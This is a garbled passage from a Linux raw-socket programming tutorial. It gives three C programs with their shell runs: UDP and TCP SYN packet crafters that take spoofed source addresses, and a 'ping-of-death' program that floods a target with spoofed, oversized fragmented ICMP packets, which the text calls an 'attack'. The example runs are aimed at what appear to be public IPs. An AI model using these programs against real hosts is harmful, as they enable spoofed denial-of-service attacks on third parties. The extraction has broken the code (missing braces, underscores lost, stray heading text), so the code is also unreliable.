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LINUX SOCKET PART 17 Advanced TCP/IP - THE RAW SOCKET PROGRAM EXAMPLES

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This is a continuation from Part IV series, Advanced TCP/IP Programming Tutorial. Working program examples if any compiled using gcc, tested using the public IPs, run on **Fedora Core 3**, with several times of update, as root or SUID 0. The Fedora machine used for the testing having the "No Stack Execute" disabled and the SELinux set to default configuration.

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                                 iph protocol;
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               Advanced
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                                 iph destip;
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              };
Advanced
TCP/IP 3
              // UDP header's structure
Advanced
              struct udpheader {
TCP/IP 4
               unsigned short int udph srcport;
               unsigned short int udph destport;
Advanced
               unsigned short int udph len;
TCP/IP 5
               unsigned short int udph chksum;
              // total udp header length: 8 bytes (=64
              bits)
              // Function for checksum calculation. From
              the RFC,
              // the checksum algorithm is:
              // "The checksum field is the 16 bit
              one's complement of the one's
              // complement sum of all 16 bit words in
              the header. For purposes of
              // computing the checksum, the value of
              the checksum field is zero."
              unsigned short csum (unsigned short *buf,
              int nwords)
                      unsigned long sum;
                      for(sum=0; nwords>0; nwords--)
                              sum += *buf++;
                      sum = (sum >> 16) + (sum &0xffff);
                      sum += (sum >> 16);
                      return (unsigned short) (~sum);
              }
    // Source IP, source port, target IP, target port
    from the command line arguments
    int main(int argc, char *argv[])
    {
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int sd;
// No data/payload just datagram
char buffer[PCKT LEN];
// Our own headers' structures
struct ipheader *ip = (struct ipheader *) buffer;
struct udpheader *udp = (struct udpheader *) (buffer
+ sizeof(struct ipheader));
// Source and destination addresses: IP and port
struct sockaddr in sin, din;
int one = 1;
const int *val = &one;
memset(buffer, 0, PCKT LEN);
if(argc != 5)
printf("- Invalid parameters!!!\n");
printf("- Usage %s <source hostname/IP> <source port>
<target hostname/IP> <target port>\n", argv[0]);
exit(-1);
}
// Create a raw socket with UDP protocol
sd = socket(PF INET, SOCK RAW, IPPROTO UDP);
if(sd < 0)
{
perror("socket() error");
// If something wrong just exit
exit(-1);
}
else
printf("socket() - Using SOCK RAW socket and UDP
protocol is OK.\n");
// The source is redundant, may be used later if
needed
// The address family
sin.sin family = AF INET;
din.sin family = AF INET;
// Port numbers
sin.sin port = htons(atoi(argv[2]));
din.sin port = htons(atoi(argv[4]));
// IP addresses
sin.sin addr.s addr = inet addr(argv[1]);
din.sin addr.s addr = inet addr(argv[3]);
// Fabricate the IP header or we can use the
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// standard header structures but assign our own
values.
ip->iph ihl = 5;
ip->iph ver = 4;
ip->iph tos = 16; // Low delay
ip->iph len = sizeof(struct ipheader) + sizeof(struct
udpheader);
ip->iph ident = htons(54321);
ip->iph ttl = 64; // hops
ip->iph protocol = 17; // UDP
// Source IP address, can use spoofed address here!!!
ip->iph sourceip = inet addr(argv[1]);
// The destination IP address
ip->iph destip = inet addr(argv[3]);
// Fabricate the UDP header. Source port number,
redundant
udp->udph srcport = htons(atoi(argv[2]));
// Destination port number
udp->udph destport = htons(atoi(argv[4]));
udp->udph len = htons(sizeof(struct udpheader));
// Calculate the checksum for integrity
ip->iph chksum = csum((unsigned short *)buffer,
sizeof(struct ipheader) + sizeof(struct udpheader));
// Inform the kernel do not fill up the packet
structure. we will build our own...
if (setsockopt(sd, IPPROTO IP, IP HDRINCL, val,
sizeof(one)) < 0)</pre>
{
perror("setsockopt() error");
exit(-1);
}
else
printf("setsockopt() is OK.\n");
// Send loop, send for every 2 second for 100 count
printf("Trying...\n");
printf("Using raw socket and UDP protocol\n");
printf("Using Source IP: %s port: %u, Target IP: %s
port: %u.\n", argv[1], atoi(argv[2]), argv[3],
atoi(arqv[4]));
int count;
for(count = 1; count <=20; count++)</pre>
if (sendto(sd, buffer, ip->iph len, 0, (struct
sockaddr *)&sin, sizeof(sin)) < 0)</pre>
```

```
// Verify
perror("sendto() error");
exit(-1);
else
printf("Count #%u - sendto() is OK.\n", count);
sleep(2);
}
}
close(sd);
return 0;
[root@bakawali testraw] # gcc rawudp.c -o rawudp
[root@bakawali testraw]# ./rawudp
- Invalid parameters!!!
- Usage ./rawudp <source hostname/IP> <source port>
<target hostname/IP> <target port>
[root@bakawali testraw]# ./rawudp 192.168.10.10 21
203.106.93.91 8080
socket() - Using SOCK RAW socket and UDP protocol is
OK.
setsockopt() is OK.
Trying...
Using raw socket and UDP protocol
Using Source IP: 192.168.10.10 port: 21, Target IP:
203.106.93.91 port: 8080.
Count #1 - sendto() is OK.
Count #2 - sendto() is OK.
Count #3 - sendto() is OK.
Count #4 - sendto() is OK.
Count #5 - sendto() is OK.
Count #6 - sendto() is OK.
Count #7 - sendto() is OK.
```

You can use network monitoring tools to capture the raw socket datagrams at the target machine to see the effect. The following is a raw socket and tcp program example.

```
[root@bakawali testraw]# cat rawtcp.c
//---cat rawtcp.c---
// Run as root or SUID 0, just datagram no
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```
data/payload
#include <unistd.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
// Packet length
#define PCKT LEN 8192
// May create separate header file (.h) for all
// headers' structures
// IP header's structure
struct ipheader {
unsigned char iph_ihl:5, /* Little-endian */
                iph ver:4;
unsigned char iph tos;
unsigned short int iph len;
unsigned short int iph ident;
unsigned char iph flags;
unsigned short int iph offset;
unsigned char iph ttl;
unsigned char iph protocol;
unsigned short int iph chksum;
unsigned int iph sourceip;
unsigned int iph_destip;
};
/* Structure of a TCP header */
struct tcpheader {
unsigned short int tcph srcport;
unsigned short int tcph destport;
// unsigned char tcph flags;
 unsigned int
     tcph_hlen:4, /*length of tcp header in
32-bit words*/
     tcph fin:1, /*Finish flag "fin"*/
     tcph_syn:1, /*Synchronize sequence
numbers to start a connection*/
     tcph_psh:1, /*Push, sends data to the
application*/
     tcph_ack:1, /*acknowledge*/
     tcph_urg:1, /*urgent pointer*/
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tcph res2:2;
 unsigned short int tcph win;
 unsigned short int tcph chksum;
 unsigned short int tcph urgptr;
};
// Simple checksum function, may use others such as
Cyclic Redundancy Check, CRC
unsigned short csum(unsigned short *buf, int len)
        unsigned long sum;
        for (sum=0; len>0; len--)
                sum += *buf++;
        sum = (sum >> 16) + (sum &0xffff);
        sum += (sum >> 16);
        return (unsigned short) (~sum);
}
int main(int argc, char *argv[])
int sd;
// No data, just datagram
char buffer[PCKT LEN];
// The size of the headers
struct ipheader *ip = (struct ipheader *) buffer;
struct tcpheader *tcp = (struct tcpheader *) (buffer
+ sizeof(struct ipheader));
struct sockaddr in sin, din;
int one = 1;
const int *val = &one;
memset(buffer, 0, PCKT LEN);
if(argc != 5)
printf("- Invalid parameters!!!\n");
printf("- Usage: %s <source hostname/IP> <source</pre>
port> <target hostname/IP> <target port>\n",
argv[0]);
exit(-1);
}
sd = socket(PF INET, SOCK RAW, IPPROTO TCP);
if(sd < 0)
   perror("socket() error");
   exit(-1);
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```
}
else
printf("socket()-SOCK RAW and tcp protocol is
OK. \n");
// The source is redundant, may be used later if
needed
// Address family
sin.sin family = AF INET;
din.sin family = AF INET;
// Source port, can be any, modify as needed
sin.sin port = htons(atoi(argv[2]));
din.sin port = htons(atoi(argv[4]));
// Source IP, can be any, modify as needed
sin.sin addr.s addr = inet addr(argv[1]);
din.sin addr.s addr = inet addr(argv[3]);
// IP structure
ip->iph ihl = 5;
ip->iph ver = 4;
ip->iph tos = 16;
ip->iph len = sizeof(struct ipheader) + sizeof(struct
tcpheader);
ip->iph ident = htons(54321);
ip->iph offset = 0;
ip->iph ttl = 64;
ip->iph protocol = 6; // TCP
ip->iph chksum = 0; // Done by kernel
// Source IP, modify as needed, spoofed, we accept
through command line argument
ip->iph sourceip = inet addr(argv[1]);
// Destination IP, modify as needed, but here we
accept through command line argument
ip->iph destip = inet addr(argv[3]);
// The TCP structure. The source port, spoofed, we
accept through the command line
tcp->tcph srcport = htons(atoi(argv[2]));
// The destination port, we accept through command
line
tcp->tcph destport = htons(atoi(argv[4]));
tcp->tcph segnum = htonl(1);
tcp->tcph acknum = 0;
tcp->tcph offset = 5;
tcp->tcph syn = 1;
tcp->tcph ack = 0;
tcp->tcph win = htons(32767);
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tcp->tcph chksum = 0; // Done by kernel
tcp->tcph urgptr = 0;
// IP checksum calculation
ip->iph chksum = csum((unsigned short *) buffer,
(sizeof(struct ipheader) + sizeof(struct
tcpheader)));
// Inform the kernel do not fill up the headers'
structure, we fabricated our own
if (setsockopt (sd, IPPROTO IP, IP HDRINCL, val,
sizeof(one)) < 0)
    perror("setsockopt() error");
    exit(-1);
}
else
   printf("setsockopt() is OK\n");
printf("Using:::::Source IP: %s port: %u, Target IP:
%s port: %u.\n", argv[1], atoi(argv[2]), argv[3],
atoi(argv[4]));
// sendto() loop, send every 2 second for 50 counts
unsigned int count;
for(count = 0; count < 20; count++)</pre>
if (sendto(sd, buffer, ip->iph len, 0, (struct
sockaddr *)&sin, sizeof(sin)) < 0)</pre>
// Verify
   perror("sendto() error");
   exit(-1);
else
   printf("Count #%u - sendto() is OK\n", count);
sleep(2);
close(sd);
return 0;
[root@bakawali testraw] # gcc rawtcp.c -o rawtcp
[root@bakawali testraw]# ./rawtcp
- Invalid parameters!!!
- Usage: ./rawtcp <source hostname/IP> <source port>
<target hostname/IP> <target port>
[root@bakawali testraw]# ./rawtcp 10.10.10.100 23
```

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203.106.93.88 8008
socket()-SOCK_RAW and tcp protocol is OK.
setsockopt() is OK
Using::::Source IP: 10.10.10.100 port: 23, Target
IP: 203.106.93.88 port: 8008.
Count #0 - sendto() is OK
Count #1 - sendto() is OK
Count #2 - sendto() is OK
Count #3 - sendto() is OK
Count #4 - sendto() is OK
```

Network utilities applications such as ping and Traceroute (check Unix/Linux man page) use ICMP and raw socket. The following is a very loose ping and ICMP program example. It is taken from **ping-of-death** program.

```
[root@bakawali testraw]# cat myping.c
/* Must be root or SUID 0 to open RAW socket */
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in systm.h>
#include <netinet/ip.h>
#include <netinet/ip icmp.h>
#include <string.h>
#include <arpa/inet.h>
int main(int argc, char *argv[])
{
  int s, i;
 char buf[400];
```

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struct ip *ip = (struct ip *)buf;
  struct icmphdr *icmp = (struct icmphdr *)(ip + 1);
  struct hostent *hp, *hp2;
  struct sockaddr in dst;
  int offset;
  int on;
  int num = 100;
  if(argc < 3)
     printf("\nUsage: %s <saddress> <dstaddress>
[number] \n", argv[0]);
     printf("- saddress is the spoofed source
address\n");
    printf("- dstaddress is the target\n");
     printf("- number is the number of packets to
send, 100 is the default\n");
    exit(1);
  /* If enough argument supplied */
  if(argc == 4)
      /* Copy the packet number */
      num = atoi(argv[3]);
    /* Loop based on the packet number */
    for (i=1; i<=num; i++)</pre>
       on = 1;
       bzero(buf, sizeof(buf));
       /* Create RAW socket */
       if ((s = socket (AF INET, SOCK RAW,
IPPROTO RAW)) < 0)
       {
        perror("socket() error");
        /* If something wrong, just exit */
        exit(1);
       /* socket options, tell the kernel we provide
the IP structure */
       if (setsockopt(s, IPPROTO IP, IP HDRINCL, &on,
sizeof(on)) < 0)
        perror("setsockopt() for IP HDRINCL error");
        exit(1);
```

```
}
       if((hp = gethostbyname(argv[2])) == NULL)
         if((ip->ip dst.s addr = inet addr(argv[2]))
== -1)
            fprintf(stderr, "%s: Can't resolve,
unknown host.\n", argv[2]);
            exit(1);
         }
       }
       else
           bcopy(hp->h addr list[0],
&ip->ip dst.s addr, hp->h length);
        /* The following source address just
redundant for target to collect */
        if((hp2 = gethostbyname(argv[1])) == NULL)
         if((ip->ip src.s addr = inet addr(argv[1]))
== -1)
         {
             fprintf(stderr, "%s: Can't resolve,
unknown host\n", argv[1]);
             exit(1);
         }
        }
        else
            bcopy(hp2->h addr list[0],
&ip->ip src.s addr, hp->h length);
        printf("Sending to %s from spoofed %s\n",
inet ntoa(ip->ip dst), argv[1]);
        /* Ip structure, check the ip.h */
        ip->ip v = 4;
        ip->ip hl = sizeof*ip >> 2;
        ip->ip tos = 0;
        ip->ip len = htons(sizeof(buf));
        ip->ip id = htons(4321);
        ip->ip off = htons(0);
        ip->ip ttl = 255;
        ip \rightarrow ip p = 1;
        ip->ip sum = 0; /* Let kernel fills in */
        dst.sin addr = ip->ip dst;
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```
dst.sin family = AF INET;
        icmp->type = ICMP ECHO;
        icmp->code = 0;
        /* Header checksum */
        icmp->checksum = htons(~(ICMP ECHO << 8));</pre>
        for(offset = 0; offset < 65536; offset +=</pre>
(sizeof(buf) - sizeof(*ip)))
        ip->ip off = htons(offset >> 3);
        if(offset < 65120)
         ip->ip off |= htons(0x2000);
          ip->ip len = htons(418); /* make total
65538 */
        /* sending time */
        if(sendto(s, buf, sizeof(buf), 0, (struct
sockaddr *)&dst, sizeof(dst)) < 0)</pre>
        {
           fprintf(stderr, "offset %d: ", offset);
           perror("sendto() error");
        }
     else
       printf("sendto() is OK.\n");
        /* IF offset = 0, define our ICMP structure
*/
        if(offset == 0)
        icmp->type = 0;
        icmp->code = 0;
        icmp->checksum = 0;
      /* close socket */
      close(s);
      usleep(30000);
    return 0;
[root@bakawali testraw]# gcc myping.c -o myping
[root@bakawali testraw]# ./myping
Usage: ./myping <saddress> <dstaddress> [number]
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- saddress is the spoofed source address
- dstaddress is the target
- number is the number of packets to send, 100 is the default
[root@bakawali testraw]# ./myping 1.2.3.4
203.106.93.94 10000
sendto() is OK.
sendto() is OK.
...
sendto() is OK.
Sendto() is OK.
Sending to 203.106.93.88 from spoofed 1.2.3.4
sendto() is OK.
...
```

You can verify this 'attack' at the target machine by issuing the tcpdump -vv command or other network analyzer tools such as Ethereal/Wireshark.

More reading and digging:

- Check the best selling C / C++, Networking, Linux and Open Source books at Amazon.com.
- 2. GCC, GDB and other related tools.

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